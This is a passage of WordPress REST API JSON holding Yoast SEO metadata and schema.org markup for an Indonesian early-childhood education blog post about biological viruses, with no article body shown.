\/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-16T02:00:21+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:24:42+00:00\" \/>\n<meta name=\"author\" content=\"Elvina Sarah Nur Alvia\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Elvina Sarah Nur Alvia\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus\",\"name\":\"Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, & Sejarah\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/0139f6e4-2038-4282-84fa-46c59a412c1d.png\",\"datePublished\":\"2025-09-16T02:00:21+00:00\",\"dateModified\":\"2026-01-19T23:24:42+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448\"},\"description\":\"Penyakit yang diderita makhluk hidup sebagian besar disebabkan virus. Yuk, kenalan mulai dari pengertian, jenis, bentuk, ciri, struktur, hingga perannya.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/0139f6e4-2038-4282-84fa-46c59a412c1d.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/0139f6e4-2038-4282-84fa-46c59a412c1d.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, &#038; Sejarah\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448\",\"name\":\"Elvina Sarah Nur Alvia\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g\",\"caption\":\"Elvina Sarah Nur Alvia\"},\"description\":\"Have enthusiasm in writing and sharing good things to people. :)\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/elvina-sarah-nur-alvia\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, & Sejarah","description":"Penyakit yang diderita makhluk hidup sebagian besar disebabkan virus. Yuk, kenalan mulai dari pengertian, jenis, bentuk, ciri, struktur, hingga perannya.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus","og_locale":"en_US","og_type":"article","og_title":"Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, & Sejarah","og_description":"Penyakit yang diderita makhluk hidup sebagian besar disebabkan virus. Yuk, kenalan mulai dari pengertian, jenis, bentuk, ciri, struktur, hingga perannya.","og_url":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-09-16T02:00:21+00:00","article_modified_time":"2026-01-19T23:24:42+00:00","author":"Elvina Sarah Nur Alvia","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Elvina Sarah Nur Alvia","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus","url":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus","name":"Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, & Sejarah","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/0139f6e4-2038-4282-84fa-46c59a412c1d.png","datePublished":"2025-09-16T02:00:21+00:00","dateModified":"2026-01-19T23:24:42+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448"},"description":"Penyakit yang diderita makhluk hidup sebagian besar disebabkan virus. Yuk, kenalan mulai dari pengertian, jenis, bentuk, ciri, struktur, hingga perannya.","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/0139f6e4-2038-4282-84fa-46c59a412c1d.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/0139f6e4-2038-4282-84fa-46c59a412c1d.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, &#038; Sejarah"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448","name":"Elvina Sarah Nur Alvia","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g","caption":"Elvina Sarah Nur Alvia"},"description":"Have enthusiasm in writing and sharing good things to people. :)","url":"https:\/\/www.altaglobalschool.com\/blog\/author\/elvina-sarah-nur-alvia"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1653","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=1653"}],"version-history":[{"count":6,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1653\/revisions"}],"predecessor-version":[{"id":1899,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1653\/revisions\/1899"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1653"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=1653"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=1653"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=1653"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}